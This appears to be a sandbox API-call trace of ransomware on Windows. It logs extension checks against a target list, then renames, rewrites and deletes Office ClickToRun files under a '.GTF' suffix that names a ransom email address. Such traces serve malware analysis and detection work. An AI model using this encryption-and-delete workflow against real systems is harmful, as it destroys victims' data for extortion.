	[0085.910] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.911] lstrlenW (lpString=".zip") returned 4
	[0085.911] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.911] lstrlenW (lpString=".rar") returned 4
	[0085.911] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.911] lstrlenW (lpString=".bz2") returned 4
	[0085.911] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.911] lstrlenW (lpString=".7z") returned 3
	[0085.911] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.911] lstrlenW (lpString=".dbf") returned 4
	[0085.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.911] lstrlenW (lpString=".1cd") returned 4
	[0085.911] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.911] lstrlenW (lpString=".jpg") returned 4
	[0085.911] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.911] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.911] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23
	[0085.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.912] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=1761448) returned 1
	[0085.912] CloseHandle (hObject=0x398) returned 1
	[0085.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20
	[0085.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0085.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.913] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0x0) returned 1
	[0085.913] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.913] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c4a058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0086.394] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1
	[0086.394] ReadFile (in: hFile=0x398, lpBuffer=0x3c8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c8a058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0086.436] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.436] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1
	[0086.436] ReadFile (in: hFile=0x398, lpBuffer=0x3cca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cca058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0086.452] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.452] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x379fca8, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fca8*=0xc011a, lpOverlapped=0x0) returned 1
	[0086.475] SetEndOfFile (hFile=0x398) returned 1
	[0086.475] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3eb3378
	[0086.749] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.749] WriteFile (in: hFile=0x398, lpBuffer=0x3eb3378*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eb3378*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.751] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.751] WriteFile (in: hFile=0x398, lpBuffer=0x3eb3378*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eb3378*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.753] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.753] WriteFile (in: hFile=0x398, lpBuffer=0x3eb3378*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eb3378*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.755] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0087.159] CloseHandle (hObject=0x398) returned 1
	[0087.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.159] lstrlenW (lpString=".doc") returned 4
	[0087.159] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.159] lstrlenW (lpString=".docx") returned 5
	[0087.159] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0087.159] lstrlenW (lpString=".pdf") returned 4
	[0087.159] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.159] lstrlenW (lpString=".xls") returned 4
	[0087.159] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.159] lstrlenW (lpString=".xlsx") returned 5
	[0087.159] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0087.159] lstrlenW (lpString=".ppt") returned 4
	[0087.159] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.159] lstrlenW (lpString=".zip") returned 4
	[0087.159] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.160] lstrlenW (lpString=".rar") returned 4
	[0087.160] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.160] lstrlenW (lpString=".bz2") returned 4
	[0087.160] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.160] lstrlenW (lpString=".7z") returned 3
	[0087.160] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.160] lstrlenW (lpString=".dbf") returned 4
	[0087.160] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.160] lstrlenW (lpString=".1cd") returned 4
	[0087.160] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.160] lstrlenW (lpString=".jpg") returned 4
	[0087.160] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.160] lstrlenW (lpString=".doc") returned 4
	[0087.160] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.160] lstrlenW (lpString=".docx") returned 5
	[0087.160] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0087.160] lstrlenW (lpString=".pdf") returned 4
	[0087.160] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.160] lstrlenW (lpString=".xls") returned 4
	[0087.160] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.160] lstrlenW (lpString=".xlsx") returned 5
	[0087.160] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0087.160] lstrlenW (lpString=".ppt") returned 4
	[0087.160] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.160] lstrlenW (lpString=".zip") returned 4
	[0087.160] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.160] lstrlenW (lpString=".rar") returned 4
	[0087.160] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.160] lstrlenW (lpString=".bz2") returned 4
	[0087.160] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.160] lstrlenW (lpString=".7z") returned 3
	[0087.160] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.161] lstrlenW (lpString=".dbf") returned 4
	[0087.161] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.161] lstrlenW (lpString=".1cd") returned 4
	[0087.161] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.161] lstrlenW (lpString=".jpg") returned 4
	[0087.161] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.161] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.161] lstrlenW (lpString="concrt140.dll") returned 13
	[0087.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0087.162] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=332968) returned 1
	[0087.162] CloseHandle (hObject=0x398) returned 1
	[0087.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20
	[0087.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0087.163] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.163] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0087.163] GetLastError () returned 0x0
	[0087.163] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x514a8, lpOverlapped=0x0) returned 1
	[0087.289] WriteFile (in: hFile=0x320, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x514b0, lpOverlapped=0x0) returned 1
	[0087.295] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.295] WriteFile (in: hFile=0x320, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xee, lpOverlapped=0x0) returned 1
	[0087.295] SetEndOfFile (hFile=0x320) returned 1
	[0087.334] CloseHandle (hObject=0x320) returned 1
	[0087.334] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.334] SetEndOfFile (hFile=0x398) returned 1
	[0087.337] CloseHandle (hObject=0x398) returned 1
	[0087.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.337] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1
	[0087.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.338] lstrlenW (lpString=".doc") returned 4
	[0087.338] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.338] lstrlenW (lpString=".docx") returned 5
	[0087.338] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0087.338] lstrlenW (lpString=".pdf") returned 4
	[0087.338] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.338] lstrlenW (lpString=".xls") returned 4
	[0087.338] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.338] lstrlenW (lpString=".xlsx") returned 5
	[0087.338] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0087.338] lstrlenW (lpString=".ppt") returned 4
	[0087.338] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.338] lstrlenW (lpString=".zip") returned 4
	[0087.338] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.338] lstrlenW (lpString=".rar") returned 4
	[0087.338] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.338] lstrlenW (lpString=".bz2") returned 4
	[0087.338] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.338] lstrlenW (lpString=".7z") returned 3
	[0087.338] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.338] lstrlenW (lpString=".dbf") returned 4
	[0087.338] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.338] lstrlenW (lpString=".1cd") returned 4
	[0087.338] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.339] lstrlenW (lpString=".jpg") returned 4
	[0087.339] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.339] lstrlenW (lpString=".doc") returned 4
	[0087.339] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.339] lstrlenW (lpString=".docx") returned 5
	[0087.339] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0087.339] lstrlenW (lpString=".pdf") returned 4
	[0087.339] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.339] lstrlenW (lpString=".xls") returned 4
	[0087.339] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.339] lstrlenW (lpString=".xlsx") returned 5
	[0087.339] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0087.339] lstrlenW (lpString=".ppt") returned 4
	[0087.339] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.339] lstrlenW (lpString=".zip") returned 4
	[0087.339] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.339] lstrlenW (lpString=".rar") returned 4
	[0087.339] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.339] lstrlenW (lpString=".bz2") returned 4
	[0087.339] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.339] lstrlenW (lpString=".7z") returned 3
	[0087.339] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.339] lstrlenW (lpString=".dbf") returned 4
	[0087.339] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.340] lstrlenW (lpString=".1cd") returned 4
	[0087.340] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0087.340] lstrlenW (lpString=".jpg") returned 4
	[0087.340] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.340] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0087.340] lstrlenW (lpString="IntegratedOffice.exe") returned 20
	[0087.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0087.341] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=1093248) returned 1
	[0087.341] CloseHandle (hObject=0x398) returned 1
	[0087.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20
	[0087.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0087.341] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.341] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0087.341] GetLastError () returned 0x0
	[0087.341] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0087.365] WriteFile (in: hFile=0x320, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0087.851] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0xae90, lpOverlapped=0x0) returned 1
	[0087.859] WriteFile (in: hFile=0x320, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xaea0, lpOverlapped=0x0) returned 1
	[0087.863] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.863] WriteFile (in: hFile=0x320, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0087.864] SetEndOfFile (hFile=0x320) returned 1
	[0087.864] CloseHandle (hObject=0x320) returned 1
	[0087.864] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.864] SetEndOfFile (hFile=0x398) returned 1
	[0087.865] CloseHandle (hObject=0x398) returned 1
	[0087.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.865] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1
	[0087.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.866] lstrlenW (lpString=".doc") returned 4
	[0087.866] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.866] lstrlenW (lpString=".docx") returned 5
	[0087.866] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0087.866] lstrlenW (lpString=".pdf") returned 4
	[0087.866] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.866] lstrlenW (lpString=".xls") returned 4
	[0087.866] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.866] lstrlenW (lpString=".xlsx") returned 5
	[0087.866] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0087.866] lstrlenW (lpString=".ppt") returned 4
	[0087.866] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0087.866] lstrlenW (lpString=".zip") returned 4
	[0087.866] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
